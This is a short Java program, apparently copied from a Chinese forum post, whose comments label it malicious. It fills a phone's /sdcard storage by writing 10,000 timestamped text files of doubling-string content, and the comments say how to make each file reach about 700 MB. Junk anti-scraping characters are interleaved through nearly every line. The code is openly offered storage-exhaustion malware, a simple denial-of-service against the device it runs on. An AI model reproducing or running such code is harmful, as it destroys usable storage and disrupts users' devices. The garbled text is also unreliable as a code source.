|
- /*恶意程序7 ^2 i$ m" R9 n8 W
- *循环写文件消耗空间
: G! o6 V& z. k; m/ ?, S6 c9 ^ - *当i为26是每个文件大概700多MB
0 F. g9 e$ \' L! q - *慎用: L* W0 n1 M: g* m4 n8 ^- ?/ q6 ~
- */
$ o* L8 g6 J! z - import java.util.*;
- o- @6 [/ f( I9 D% l6 } - import java.io.*;) ^1 s# J& o2 `5 ~
- import java.time.*;
% K4 [2 h# i# r$ p5 C - public class Main
b7 c& q0 p) l6 Z- Q2 j - {
S3 R7 J0 B* x: M/ O/ O - public static void main(String[] args) throws FileNotFoundException, UnsupportedEncodingException, IOException
: b+ R$ k1 c" i8 Q G) B - {
% u' h7 \; z$ g: t$ H - String name= "/sdcard/B";
7 Y" r3 g4 r* R# a z3 N( V - File dir = new File(name);//创建目录
6 x( ~1 g6 j) F4 J* Z - dir.mkdirs();
2 g1 ~& H! L) ^2 ^/ f p, H - long time;//声明变量,用于文件名# h) A5 g& X6 ]3 `4 j/ h
- for(int c = 1;c <= 10000;c++){
6 Y* A' _& Z1 b: r - time = System.currentTimeMillis();//时间戳
# V x( b0 o8 |4 _4 E! n" |" c - File txt = new File("/sdcard/B/"+time+".txt");//创建文件1 V% D5 W# n; ]( S+ e9 Z. Z
- OutputStream out = new FileOutputStream(txt);8 X* i \3 X& \9 L) Z
- OutputStreamWriter writer = new OutputStreamWriter(out,"UTF-8");4 q6 W( P9 M( q. |! m. {& {( y
- String write = "I love you.";//待写入的字符串 H" F" {6 }# I# n" b) Q
- for(int i = 0;i<15;i++){//循环写入,i越大每个文件越大,i最大似乎是26,否则会出错
! n* x* t3 I3 g - writer.append(write+"\n");
! N8 O* I( \& N+ T; o* G - write+=write;
9 E1 S7 M4 t o- l$ d Y( Z9 w - }
$ h; Y0 Z0 S- G' m7 w - writer.close();2 b6 h/ o9 K; U9 d* d% m
- out.close();
$ g# I. k& L" b) y7 q - System.out.println("done!");- \, d' H) A) r/ [
- }% l6 z. g+ J$ O/ D+ X
- }7 Z" s& ^$ r/ _. w1 k8 h z. M
- }' l9 j4 L, [6 g% L, N/ d& `( }
复制代码 |
|